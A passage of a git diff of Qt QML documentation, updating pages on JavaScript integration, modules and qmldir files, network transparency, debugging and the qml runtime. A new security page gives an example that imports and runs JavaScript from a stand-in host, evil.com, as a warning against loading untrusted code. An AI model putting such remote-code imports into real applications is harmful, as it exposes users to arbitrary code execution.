-The \l Script element's \c source property is used to load script from an external
-file.
+\section2 Code-Behind Implementation Files
 
-If the previous factorial code that was illegal as an inline script block was saved
-into a "factorial.js" file, it could be included like this.
+Most JavaScript files imported into a QML file are stateful, logic implementations
+for the QML file importing them.  In these cases, for QML component instances to
+behave correctly each instance requires a separate copy of the JavaScript objects
+and state.
+
+The default behavior when importing JavaScript files is to provide a unique, isolated
+copy for each QML component instance.  The code runs in the same scope as the QML
+component instance and consequently can can access and manipulate the objects and
+properties declared.
+
+\section2 Stateless JavaScript libraries
+
+Some JavaScript files act more like libraries - they provide a set of stateless
+helper functions that take input and compute output, but never manipulate QML
+component instances directly.
+
+As it would be wasteful for each QML component instance to have a unique copy of
+these libraries, the JavaScript programmer can indicate a particular file is a
+stateless library through the use of a pragma, as shown in the following example.
 
 \code
-Rectangle {
-    Script { 
-        source: "factorial.js"
-    }
+// factorial.js
+.pragma library
+
+function factorial(a) {
+    a = Integer(a);
+    if (a <= 0)
+        return 1;
+    else
+        return a * factorial(a - 1);
 }
 \endcode
 
-The \c source property may reference a relative file, or an absolute path.  In the
-case of a relative file, the location is resolved relative to the location of the
-\l {QML Document} that contains the \l Script element.  If the script file is not 
-accessible, an error will occur.  If the source is on a network resource, the
-enclosing QML document will remain in the \l {QDeclarativeComponent::status()}{waiting state}
-until the script has been retrieved.
+The pragma declaration must appear before any JavaScript code excluding comments.
 
-\section1 Running Script at Startup
+As they are shared, stateless library files cannot access QML component instance
+objects or properties directly, although QML values can be passed as function
+parameters.
 
-It is occasionally necessary to run a block of JavaScript code at application (or
+\section1 Running JavaScript at Startup
+
+It is occasionally necessary to run some imperative code at application (or
 component instance) "startup".  While it is tempting to just include the startup
 script as \e {global code} in an external script file, this can have severe limitations
-as the QML environment may not have been fully established.  For example, some objects 
+as the QML environment may not have been fully established.  For example, some objects
 might not have been created or some \l {Property Binding}s may not have been run.
-\l {QML Script Restrictions} covers the exact limitations of global script code.
+\l {QML JavaScript Restrictions} covers the exact limitations of global script code.
 
 The QML \l Component element provides an \e attached \c onCompleted property that
 can be used to trigger the execution of script code at startup after the
-QML environment has been completely established.
-
-The following QML code shows how to use the \c Component::onCompleted property.
+QML environment has been completely established. For example:
 
 \code
 Rectangle {
-    Script {
-        function startupFunction() {
-            // ... startup code
-        }
+    function startupFunction() {
+        // ... startup code
     }
 
     Component.onCompleted: startupFunction();
@@ -155,25 +181,24 @@ Rectangle {
 \endcode
 
 Any element in a QML file - including nested elements and nested QML component 
-instances - can use this attached property.  If there is more than one script to
-execute at startup, they are run sequentially in an undefined order.
+instances - can use this attached property.  If there is more than one \c onCompleted()
+handler to execute at startup, they are run sequentially in an undefined order.
 
-\section1 QML Script Restrictions
+\section1 QML JavaScript Restrictions
 
-QML \l Script blocks contain standard JavaScript code.  QML introduces the following
-restrictions.
+QML executes standard JavaScript code, with the following restrictions:
 
 \list
-\o Script code cannot modify the global object.
+\o JavaScript code cannot modify the global object.
 
-In QML, the global object is constant - existing properties cannot be modified or 
+In QML, the global object is constant - existing properties cannot be modified or
 deleted, and no new properties may be created.
 
-Most JavaScript programs do not explicitly modify the global object.  However, 
+Most JavaScript programs do not intentionally modify the global object.  However,
 JavaScript's automatic creation of undeclared variables is an implicit modification
 of the global object, and is prohibited in QML.
 
-Assuming that the \c a variable does not exist in the scope chain, the following code 
+Assuming that the \c a variable does not exist in the scope chain, the following code
 is illegal in QML.
 
 \code
@@ -191,18 +216,18 @@ for (var ii = 1; ii < 10; ++ii) a = a * ii;
     console.log("Result: " + a);
 \endcode
 
-Any attempt to modify the global object - either implicitly or explicitly - will 
-cause an exception.  If uncaught, this will result in an warning being printed, 
+Any attempt to modify the global object - either implicitly or explicitly - will
+cause an exception.  If uncaught, this will result in an warning being printed,
 that includes the file and line number of the offending code.
 
 \o Global code is run in a reduced scope
 
-During startup, if a \l Script block includes an external file with "global"
+During startup, if a QML file includes an external JavaScript file with "global"
 code, it is executed in a scope that contains only the external file itself and
-the global object.  That is, it will not have access to the QML objects and 
+the global object.  That is, it will not have access to the QML objects and
 properties it \l {QML Scope}{normally would}.
 
-Global code that only accesses script local variable is permitted.  This is an 
+Global code that only accesses script local variable is permitted.  This is an
 example of valid global code.
 
 \code
@@ -216,9 +241,9 @@ Global code that accesses QML objects will not run correctly.
 var initialPosition = { rootObject.x, rootObject.y }
 \endcode
 
-This restriction exists as the QML environment is not yet fully established.  
-To run code after the environment setup has completed, refer to 
-\l {Running Script at Startup}.
+This restriction exists as the QML environment is not yet fully established.
+To run code after the environment setup has completed, refer to
+\l {Running JavaScript at Startup}.
 
 \endlist
 
diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
index ab75f8d..0c69930 100644
--- a/doc/src/declarative/modules.qdoc
+++ b/doc/src/declarative/modules.qdoc
@@ -42,118 +42,111 @@
 /*!
 \page qdeclarativemodules.html
 \title Modules
+\section1 QML Modules
 
-A \bold module is a collection of QML types.
+A \bold {QML module} is a collection of QML types. They allow you to organize your QML content
+into independent units. Modules have an optional versioning mechanism that allows for independent
+upgradability of the modules.
 
-To use types from a module it must be imported using the \c import statement. Successive
-import statements override earlier import statements, however, since imports have version
-qualifiers, changes in modules do not alter the semantics of imports.
+There are two types of modules:
+location modules (defined by a URL),
+and
+installed modules (defined by a URI).
 
-\section1 Importing Types Defined in C++
-
-Types \link adding-types defined in C++\endlink can be from types your application defines, standard QML types,
-or types defined in plugins. To use any such types, you must import
-the module defining them.  For example, to use types from Qt, import it:
-
-\code
-import Qt 4.6
-\endcode
-
-This makes available all types in Qt that were available in Qt 4.6, regardless of the
-actual version of Qt executing the QML. So even if Qt 4.7 adds a type that would conflict
-with a type you defined while using 4.6, that type is not imported, so there is no conflict.
-
-Types defined by plugins are made using QDeclarativeExtensionPlugin.  Installed plugins and QML files
-can both contribute types to the same module.
-
-
-\section1 Importing Types Defined in QML
-
-When importing types \link components defined using QML\endlink, the syntax depends
-on whether or not the types are installed on the system.
-
-
-\section2 Installed QML Files
-
-To import types defined in QML files that are installed on the system running the
-QML, a URI import is used:
+Location modules types are defined in QML files and \l{QDeclarativeExtensionPlugin}{QML C++ plugins}
+in a directory refered to directly by
+the location URL, either on the local filesystem, or as a network resource. The URL that locates them
+can be relative, in which case they actual URL is resolved by the QML file containing the import.
+When importing a location module, a quoted URL is used:
 
 \code
-import com.nokia.Example 1.0
+import "https://qml.nokia.com/qml/example" 1.0
+import "https://qml.nokia.com/qml/example" as NokiaExample
+import "mymodule" 1.0
+import "mymodule"
 \endcode
 
-Files imported in this way are found on the paths added by QDeclarativeEngine::addImportPath(),
-which by default only inludes \c $QTDIR/qml, so the above would make available those types
-defined in \c $QTDIR/qml/com/nokia/Example which are specified as being in version 1.0.
-Installed plugins and QML files can both contribute types to the same module.
-
-The specification of types to versions is given by a special file, \c qmldir which must
-exist in the module directory. The syntax is described below.
-
-The \c -L option to the \l {qmlviewer}{viewer} application also adds paths to the import path.
-
-
-\section2 Local QML Files
-
-To import types defined in QML files in directories relative to the file importing them,
-a quoted import directory is used:
+Installed modules can \e only be on the local file system or in application C++ code. Again they
+are defined in QML files and \l{QDeclarativeExtensionPlugin}{QML C++ plugins} in a directory,
+but the directory is indirectly referred to by the URI. The mapping to actual content is either
+by application C++ code registering a C++ type to a module URI (see \l{Extending QML in C++}),
+or in the referenced subdirectory of a path on the import path (see below).
+When importing a location module, an un-quoted URI is used:
 
 \code
-import "path"
+import com.nokia.qml.mymodule 1.0
+import com.nokia.qml.mymodule as MyModule
 \endcode
 
-This allows all components defined in the directory \c path to be used in
-the component where this statement appears.
-
-In this case, and only this case, it is not necessary for the module directory to include
-a \c qmldir file, nor is it necessary to provide a version qualifier. The basis of this is
-that the files in the subdirectory are assumed to be packaged with the importer, and therefore
-they form a single versioned unit.
-
-
-\section2 Remote QML Files
 
-To import types defined in QML file at arbitrary network locations, a quoted absolute URL is used:
+For either type of module, a \c qmldir file in the module directory defines the content of the module. This file is
+optional for location modules, but only for local filesystem content or a single remote content with a namespace.
+The second exception is explained in more detail in the section below on Namespaces.
 
-\code
-import "http://url/.../" 1.0
-\endcode
+\section2 The Import Path
 
-This works the same as for relative directory imports, except that the target location \e must
-include a \c qmldir file, and a version qualifier must be given.
+Installed modules are searched for on the import path.
+The \c -I option to the \l {Qt Declarative UI Runtime}{qml} runtime adds paths to the import path.
 
+From C++, the path is available via \l QDeclarativeEngine::importPathList() and can be prepended to
+using \l QDeclarativeEngine::addImportPath().
 
 \section2 The \c qmldir File
 
-Directories of installed files and remote content must include a file \c qmldir which specifies the
-mapping from all type names to versioned QML files. It is a list of lines of the form:
+Installed QML modules and remote content without a namespace require a file \c qmldir which
+specifies the mapping from all type names to versioned QML files. It is a list of lines of the form:
 
 \code
 # <Comment>
-<TypeName> <InitialVersion> <File>
+<TypeName> [<InitialVersion>] <File>
+internal <Name> <File>
+plugin <Name> [<Path>]
 \endcode
 
-<TypeName> is the type being made available; <InitialVersion> is a version
+# <Comment> lines are ignored, and can be used for comments.
+
+<TypeName> <InitialVersion> <File> lines are used to add QML files as types.
+<TypeName> is the type being made available; the optional <InitialVersion> is a version
 number like \c 4.0; <File> is the (relative)
-file name of the QML file defining the type.
+file name of the QML file defining the type. 
+
+Installed files do not need to import the module of which they are a part, as they can refer
+to the other QML files in the module as relative (local) files, but
+if the module is imported from a remote location, those files must nevertheless be listed in
+the \c qmldir file. Types which you do not wish to export to users of your module
+may be marked with the \c internal keyword: \c internal <TypeName> <File>.
 
 The same type can be provided by different files in different versions, in which
 case later earlier versions (eg. 1.2) must precede earlier versions (eg. 1.0),
-since the \e first name-version match is used.
-
-Installed files do not need to import the module of which they are a part, as they can refer
-to the other QML files in the module as relative (local) files.
+since the \e first name-version match is used and a request for a version of a type
+can be fulfilled by one defined in an earlier version of the module.
 
-Installed and remote files \e must be referred to by version information described above,
+Installed and remote files without a namespace \e must be referred to by version information described above,
 local files \e may have it.
 
 The versioning system ensures that a given QML file will work regardless of the version
 of installed software, since a versioned import \e only imports types for that version,
 leaving other identifiers available, even if the actual installed version might otherwise
-use those identifiers.
+provide those identifiers.
+
+\c plugin <Name> [<Path>] lines are used to add \l{QDeclarativeExtensionPlugin}{QML C++ plugins}
+to the module. 
 
+<Name> is the name of the library.  It is usually not the same as the file name
+of the plugin binary, which is platform dependent; e.g. the library MyAppTypes would produce
+a libMyAppTypes.so on Linux and MyAppTypes.dll on Windows. 
+By default the engine searches for the plugin library in the directory containing the \c qmldir
+file.  The \c -P option to the \l {Qt Declarative UI Runtime}{qml} runtime adds paths to the 
+plugin search path. 
+From C++, the path is available via \l QDeclarativeEngine::pluginPathList() and can be prepended to
+using \l QDeclarativeEngine::addPluginPath().
 
-\section1 Namespaces - Named Imports
+<Path> is an optional argument specifying either an absolute path to the directory containing the
+plugin file, or a relative path from the directory containing the \c qmldir file to the directory 
+containing the plugin file.
+
+
+\section2 Namespaces - Named Imports
 
 When importing content it by default imports types into the global namespace.
 You may choose to import the module into another namespace, either to allow identically-named
@@ -162,10 +155,10 @@ types to be referenced, or purely for readability.
 To import a module into a namespace:
 
 \code
-import Qt 4.6 as TheQtLibrary
+import Qt 4.7 as TheQtLibrary
 \endcode
 
-Types from Qt 4.6 may then be used, but only by qualifying them with the namespace:
+Types from the Qt 4.7 module may then be used, but only by qualifying them with the namespace:
 
 \code
 TheQtLibrary.Rectangle { ... }
@@ -175,13 +168,21 @@ Multiple modules can be imported into the same namespace in the same way that mu
 modules can be imported into the global namespace:
 
 \code
-import Qt 4.6 as Nokia
+import Qt 4.7 as Nokia
 import Ovi 1.0 as Nokia
 \endcode
+
+While import statements are needed to make any types available in QML, the directory of the
+current file is implicitly loaded. This is the exact same as if you had added 'import "."' to
+the start of every QML file. The effect of this is that you can automatically use types defined in C++ plugins
+or QML files if they reside in the same directory. This is the last location searched for types - so if you
+happen to have a "Text.qml" file, or "text.qml" on case-insensitive file systems, it will not override
+the one from Qt if you import Qt.
+
 */
 
 /*
 
-See original requirement QT-558.
+Original requirement is QT-558.
 
 */
diff --git a/doc/src/declarative/network.qdoc b/doc/src/declarative/network.qdoc
index e642257..0a26c68 100644
--- a/doc/src/declarative/network.qdoc
+++ b/doc/src/declarative/network.qdoc
@@ -64,12 +64,11 @@ Image {
 Network transparency is supported throughout QML, for example:
 
 \list
-\o Scripts - the \c source property of \l Script is a URL
 \o Fonts - the \c source property of FontLoader is a URL
 \o WebViews - the \c url property of WebView (obviously!)
 \endlist
 
-Even QML types themselves can be on the network - if \l qmlviewer is used to load
+Even QML types themselves can be on the network - if the \l {Qt Declarative UI Runtime}{qml} tool is used to load
 \tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", this
 will load from \tt http://example.com/mystuff/World.qml just as it would for a local file.
 Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
@@ -131,7 +130,7 @@ See the \tt demos/declarative/flickr for a real demonstration of this.
 All network access from QML is managed by a QNetworkAccessManager set on the QDeclarativeEngine which executes the QML.
 By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager using
 QDeclarativeEngine::setNetworkAccessManager() as appropriate for the policies of your application.
-For example, the \l qmlviewer tool sets a new QNetworkAccessManager which
+For example, the \l {Qt Declarative UI Runtime}{qml} tool sets a new QNetworkAccessManager which
 trusts HTTP Expiry headers to avoid network cache checks, allows HTTP Pipelining, adds a persistent HTTP CookieJar,
 a simple disk cache, and supports proxy settings.
 
diff --git a/doc/src/declarative/pics/qmldebugger-creator.png b/doc/src/declarative/pics/qmldebugger-creator.png
deleted file mode 100644
index da1e22d..0000000
--- a/doc/src/declarative/pics/qmldebugger-creator.png
+++ /dev/null
diff --git a/doc/src/declarative/pics/rect-smooth.png b/doc/src/declarative/pics/rect-smooth.png
index abbb0a9..7ffd8ab 100644
--- a/doc/src/declarative/pics/rect-smooth.png
+++ b/doc/src/declarative/pics/rect-smooth.png
diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
index 5d21fd1..02f9868 100644
--- a/doc/src/declarative/propertybinding.qdoc
+++ b/doc/src/declarative/propertybinding.qdoc
@@ -67,10 +67,8 @@ expression!  Here are some examples of more complex bindings:
 
 \code
 Rectangle {
-    Script {
-        function calculateMyHeight() {
-            return Math.max(otherItem.height, thirdItem.height);
-        }
+    function calculateMyHeight() {
+        return Math.max(otherItem.height, thirdItem.height);
     }
 
     anchors.centerIn: parent
diff --git a/doc/src/declarative/qdeclarativedebugging.qdoc b/doc/src/declarative/qdeclarativedebugging.qdoc
index 3ef9ce7..4ff7fde 100644
--- a/doc/src/declarative/qdeclarativedebugging.qdoc
+++ b/doc/src/declarative/qdeclarativedebugging.qdoc
@@ -60,61 +60,26 @@ Rectangle {
 \section1 Debugging Transitions
 
 When a transition doesn't look quite right, it can be helpful to view it in slow
-motion to see what is happening more clearly. \l {qmlviewer} provides a 
+motion to see what is happening more clearly. The \l {Qt Declarative UI Runtime}{qml} tool provides a 
 "Slow Down Animations" menu option to facilitate this.
 
+\section1 Debugging with Qt Creator
 
-\section1 The QML Inspector
+\l{http://qt.nokia.com/products/developer-tools}{Qt Creator} provides built-in
+support for QML debugging. Open a QML project in Creator and enter Debug mode,
+or click the "Start Debugging" option from the menu, and Creator will
+show QML debugging information and options for your application, including
+object inspection, property monitoring and application frame-rate analysis.
 
-The \c qmldebugger tool provides an experimental inspector to aid with debugging.
-It can be run as a Qt Creator plugin or as a standalone application.
-
-\section2 Qt Creator plugin
-
-The Qt Creator plugin currently builds against Qt Creator 1.3.
-
-To build the Qt Creator plugin:
-
-\list
-\o Set an environment variable \c CREATOR_SRC_DIR that points to the Qt Creator
-   source directory
-\o Set an environment variable \c CREATOR_BUILD_DIR that points to the Qt Creator
-   build directory
-\o Run \c qmake on \c $QTDIR/tools/qmldebugger/qmldebugger.pro
-\endlist
-
-This builds the plugin into your Qt Creator installation.
-
-The plugin adds a "QML Inspect" mode into Qt Creator that provides:
-
-\list
-\o An object tree showing all objects and their children
-\o The current property values for the object selected in the object tree
-   (this table is dynamically updated for all properties that have property changed
-   notifications)
-\o An expression evaluator for querying and setting values dynamically
-\o A table of watched properties (double-click on a property in the property
-   table to add it to the watch table)
-\o A graph that shows the frame rate of your application
-\endlist
-
-
-To start the debugger, open a QML project and click the "QML Inspect" mode, then click the green
-"play" button in the toolbar of the bottom-right debugger window.
-
-\image qmldebugger-creator.png
-
-
-\section2 Standalone qmldebugger tool
-
-To run the standalone \c qmldebugger tool, set an environment variable \c QML_DEBUG_SERVER_PORT
-to an available port number and run the \c qmlviewer. For example:
+Creator can be used to debug both local and remote QML applications. To
+enable remote debugging, start the \l {Qt Declarative UI Runtime}{qml} tool
+on the remote device with a debugging port defined, like this:
 
 \code
-    QML_DEBUG_SERVER_PORT=3768 qmlviewer myqmlfile.qml
+    QML_DEBUG_SERVER_PORT=3768 qml myqmlfile.qml
 \endcode
 
-Then in another process, start the \c qmldebugger tool, enter the port number into the corresponding spinbox
-in the top right hand corner, and press the "Connect" button.
+In Creator, open the project settings pane and set the server and port
+details for the remote device, then start debugging.
 
 */
diff --git a/doc/src/declarative/qdeclarativedocument.qdoc b/doc/src/declarative/qdeclarativedocument.qdoc
index a210c98..cf3aae2 100644
--- a/doc/src/declarative/qdeclarativedocument.qdoc
+++ b/doc/src/declarative/qdeclarativedocument.qdoc
@@ -49,7 +49,7 @@ stored on a disk or network resource, but can also be constructed directly from
 Here is a simple QML document:
 
 \code
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 240; height: 320; 
@@ -83,7 +83,7 @@ modifies the document prior to presentation to the QML runtime. \c import statem
 do not "include" code in the document, but instead instruct the QML runtime on how to 
 resolve type references found in the document.  Any type reference present in a QML 
 document - such as \c Rectangle and \c ListView - including those made within an 
-\l {JavaScript Block} or \l {Property Binding}s, are \e resolved based exclusively on the 
+\l {Inline JavaScript}{JavaScript block} or \l {Property Binding}s, are \e resolved based exclusively on the 
 import statements.  QML does not import any modules by default, so at least one \c import
 statement must be present or no elements will be available!
 
@@ -103,7 +103,7 @@ instantiated four times, each with a different value for its \c text property.
 <table><tr><td>
 \endraw
 \code
-import Qt 4.6
+import Qt 4.7
 
 BorderImage {
     property alias text: textElement.text
@@ -152,7 +152,7 @@ These final two examples are behaviorally identical to the original document.
 \row
 \o
 \code
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 240; height: 320; 
@@ -170,7 +170,7 @@ Rectangle {
 \endcode
 \o
 \code
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 240; height: 320; 
diff --git a/doc/src/declarative/qdeclarativei18n.qdoc b/doc/src/declarative/qdeclarativei18n.qdoc
index 9c10a46..0a48dd9 100644
--- a/doc/src/declarative/qdeclarativei18n.qdoc
+++ b/doc/src/declarative/qdeclarativei18n.qdoc
@@ -63,7 +63,7 @@ capabilities are described more fully in:
 \o \l {Qt Linguist Manual}
 \endlist
 
-You can test a translation in \l {qmlviewer} using the -translation option.
+You can test a translation with the \l {Qt Declarative UI Runtime}{qml} tool using the -translation option.
 
 \section1 Example
 
@@ -72,7 +72,7 @@ that needs to be translated is enclosed in a call to \c qsTr().
 
 hello.qml:
 \qml
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
  width: 200; height: 200
@@ -86,10 +86,10 @@ lupdate hello.qml -ts hello.ts
 \endcode
 
 Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide
-a translation and create the release file \c hello.qm.
+a translation and create the release file \c hello.qml.
 
-Finally, we can test the translation in qmlviewer:
+Finally, we can test the translation:
 \code
-qmlviewer -translation hello.qm hello.qml
+qml -translation hello.qm hello.qml
 \endcode
 */
diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc
index c0e028e..d8b2a5d 100644
--- a/doc/src/declarative/qdeclarativemodels.qdoc
+++ b/doc/src/declarative/qdeclarativemodels.qdoc
@@ -54,7 +54,7 @@ delegate may bind to.  The roles are exposed as properties of the
 \e model context property, though this property is set as a default property
 of the delegate so, unless there is a naming clash with a
 property in the delegate, the roles are usually accessed unqualified.  The
-example below would  have a clash between he \e color role of the model and
+example below would  have a clash between the \e color role of the model and
 the \e color property of the Rectangle.  The clash is avoided by referencing
 the \e color property of the model by its full name: \e model.color.
 
@@ -191,6 +191,23 @@ will be positioned by the view.
 \section2 QAbstractItemModel
 
 QAbstractItemModel provides the roles set via the QAbstractItemModel::setRoleNames() method.
+The default role names set by Qt are:
+
+\table
+\header
+\o Qt Role
+\o QML Role Name
+\row
+\o Qt::DisplayRole
+\o display
+\row
+\o Qt::DecorationRole
+\o decoration
+\endtable
+
+QAbstractItemModel presents a heirachy of tables.  Views currently provided by QML
+can only display list data.  In order to display child lists of a heirachical model
+use the VisualDataModel element with \e rootIndex set to a parent node.
 
 
 \section2 QStringList
@@ -198,9 +215,6 @@ QAbstractItemModel provides the roles set via the QAbstractItemModel::setRoleNam
 QStringList provides the contents of the list via the \e modelData role:
 
 \table
-\header
-\o 
-\o 
 \row
 \o
 \code
@@ -208,7 +222,7 @@ QStringList provides the contents of the list via the \e modelData role:
 QStringList dataList;
 dataList.append("Fred");
 dataList.append("Ginger");
-dataList.appenf("Skipper");
+dataList.append("Skipper");
 
 QDeclarativeContext *ctxt = view.rootContext();
 ctxt->setContextProperty("myModel", QVariant::fromValue(&dataList));
@@ -295,13 +309,21 @@ There are no data roles.
 
 The following example creates a ListView with five elements:
 \code
-Component {
-    id: itemDelegate
-    Text { text: "I am item number: " + index }
-}
-ListView {
-    model: 5
-    delegate: itemDelegate
+Item {
+    width: 200
+    height: 250
+
+    Component {
+        id: itemDelegate
+        Text { text: "I am item number: " + index }
+    }
+
+    ListView {
+        anchors.fill: parent
+        model: 5
+        delegate: itemDelegate
+    }
+
 }
 \endcode
 
diff --git a/doc/src/declarative/qdeclarativereference.qdoc b/doc/src/declarative/qdeclarativereference.qdoc
index 01af7f5..b2cfba8 100644
--- a/doc/src/declarative/qdeclarativereference.qdoc
+++ b/doc/src/declarative/qdeclarativereference.qdoc
@@ -74,7 +74,7 @@
     \list
     \o \l {QML Documents}
     \o \l {Property Binding}
-    \o \l {JavaScript Blocks}
+    \o \l {Integrating JavaScript}
     \o \l {QML Scope}
     \o \l {Network Transparency}
     \o \l {qmlmodels}{Data Models}
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
new file mode 100644
index 0000000..290d78f
--- /dev/null
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativesecurity.html
+\title QML Security
+\section1 QML Security
+
+The QML security model is that QML content is a chain of trusted content: the user
+installs QML content that they trust in the same way as they install native Qt applications,
+or programs written with runtimes such as Python and Perl. That trust is establish by any
+of a number of mechanisms, including the availability of package signing on some platforms.
+
+In order to preserve the trust of users, developers producing QML content should not execute
+arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
+
+For example, this QML content:
+
+\qml
+import "http://evil.com/evil.js" as Evil
+... Evil.doEvil() ...
+\endqml
+
+is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
+environment of QML does not try to stop any particular accesses, including local file system
+access, just as for any native Qt application, so the "doEvil" function could do the same things
+as a native Qt application, a Python application, a Perl script, ec.
+
+As with any application accessing other content beyond it's control, a QML application should
+perform appropriate checks on untrusted data it loads.
+
+A non-exhaustive list of the ways you could shoot yourself in the foot is:
+
+\list
+    \i Using \c import to import QML or JavaScript you do not control. BAD
+    \i Using \l Loader to import QML you do not control. BAD
+    \i Using \l{XMLHttpRequest()}{XMLHttpRequest} to load data you do not control and executing it. BAD
+\endlist
+
+However, the above does not mean that you have no use for the network transparency of QML.
+There are many good and useful things you \e can do:
+
+\list
+    \i Create \l Image elements with source URLs of any online images. GOOD
+    \i Use XmlListModel to present online content. GOOD
+    \i Use \l{XMLHttpRequest()}{XMLHttpRequest} to interact with online services. GOOD
+\endlist
+
+The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
+has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
+worry about working around them.
+*/
diff --git a/doc/src/declarative/qmlruntime.qdoc b/doc/src/declarative/qmlruntime.qdoc
index 6d3e109..9f7183a 100644
--- a/doc/src/declarative/qmlruntime.qdoc
+++ b/doc/src/declarative/qmlruntime.qdoc
@@ -41,32 +41,90 @@
 
 /*!
     \page qmlruntime.html
-    \title Qt Declarative UI Viewer (qmlviewer)
+    \title Qt Declarative UI Runtime
+    \keyword qml runtime
     \ingroup qttools
-    \keyword qmlviewer
 
-    This page documents the \e{Declarative UI Viewer} for the Qt GUI
-    toolkit. The \c qmlviewer reads a declarative user interface definition
+    This page documents the \e{Declarative UI Runtime} for the Qt GUI
+    toolkit, and the \c qml executable which can be used to run apps
+    written for the runtime. The \c qml executable reads a declarative user interface definition
     (\c .qml) file and displays the user interface it describes.
 
-    qmlviewer is a development tool.  It is not intended to be
-    installed in a production environment.
+    QML is a runtime, as you can run plain qml files which pull in their required modules.
+    To run apps with the QML runtime, you can either start the runtime
+    from your on application (using a QDeclarativeView) or with the simple \c qml application.
+    The \c qml application can be
+    installed in a production environment, assuming that it is not already
+    present in the system. It is generally packaged alongside Qt.
 
-    \section1 Options
+    To deploy an application using the QML runtime, you have two options:
 
-    When run with the \c -help option, qmlviewer shows available options.
+    \list
+    \o Write your own Qt application including a QDeclarative view and deploy it the same as
+    any other Qt application (not discussed further on this page), or
+    \o Write a main QML file for your application, and run your application using the included \c qml tool.
+    \endlist
 
-    \section1 Dummy Data
+    To run an application with the \c qml tool, pass the filename as an argument:
 
-    One use of qmlviewer is to allow QML files to be viewed stand-alone,
-    rather than being loaded from within a Qt program. Qt applications will
-    usually bind objects and properties into the execution context before
-    running the QML. To stand-in for such bindings, you can provide dummy
-    data: create a directory called "dummydata" in the same directory as
+    \code
+    qml myQmlFile.qml
+    \endcode
+
+    Deploying a QML application via the \c qml executable allows for QML only deployments, but can also
+    include custom C++ modules just as easily. Below is an example of how you might structure
+    a complex application deployed via the qml runtime, it is a listing of the files that would
+    be included in the deployment package.
+
+    \code
+    MyApp.qml
+    MyAppCore/qmldir
+    MyAppCore/libMyAppCore.so
+    MyAppCore/MyAppCore.dll
+    MyAppCore/AnAppElement.qml
+    MyAppCore/AnotherElement.qml
+    MyAppCore/images/Logo.png
+    OtherModule/qmldir
+    OtherModule/OtherElement.qml
+    \endcode
+
+    Note that this example is for deploying the example to both windows and linux. You will still need to compile the C++
+    modules for each target platform, but you can deploy multiple versions of the modules across platforms with different naming conventions,
+    as the appropriate module file is chosen based on platform naming conventions. The C++ 
+    modules must contain a QDeclarativeExtentionPlugin subclass.
+
+    The application would be executed either with your own application, the command 'qml MyApp.qml' or by 
+    opening the qml file if your system has the \c qml executable registered as the handler for qml files. The MyApp.qml file would have access
+    to all of the deployed types using the import statements such as the following:
+
+    \code
+    import "MyAppCore"
+    import "OtherModule" 1.0 as Other
+    \endcode
+
+    \section1 \c qml application functionality
+    The \c qml application implements some additional functionality to help it serve the role of a launcher
+    for myriad applications. If you implement your own launcher application, you may also wish to reimplement
+    some or all of this functionality. However, much of this functionality is intended to aid the prototyping of
+    qml applications and may not be necessary for a deployed application.
+
+    \section2 Options
+
+    When run with the \c -help option, qml shows available options.
+
+    \section2 Dummy Data
+
+    The secondary use of the qml runtime is to allow QML files to be viewed with
+    dummy data. This is useful when prototyping the UI, as the dummy data can
+    be later replaced with actual data and bindings from a C++ plugin. 
+    To provide dummy data: create a directory called "dummydata" in the same directory as
     the target QML file and create files there with the "qml" extension.
     All such files will be loaded as QML objects and bound to the root
     context as a property with the name of the file (without ".qml").
 
+    To replace this with real data, you simply bind the real object to 
+    the root context in C++.
+
     For example, if the Qt application has a "clock.time" property
     that is a qreal from 0 to 86400 representing the number of seconds since
     midnight, dummy data for this could be provided by \c dummydata/clock.qml:
@@ -76,23 +134,53 @@
     Any QML can be used in the dummy data files. You could even animate the
     fictional data!
 
-    \section1 Screen Orientation
+    \section2 Runtime Object
+
+    All applications using the qmlruntime will have access to the 'runtime'
+    property on the root context. This property contains several information
+    about the runtime environment of the application.
 
-    A special piece of dummy data which is integrated into the viewer is
+    \section3 Screen Orientation
+
+    A special piece of dummy data which is integrated into the runtime is
     a simple orientation property. The orientation can be set via the
     settings menu in the application, or by pressing Ctrl+T to toggle it.
 
-    To use this from within your QML file, import QDeclarativeViewer 1.0 and create a
-    Screen object. This object has a property, orientation, which can be either
-    Screen.Landscape or Screen.Portrait and which can be bound to in your
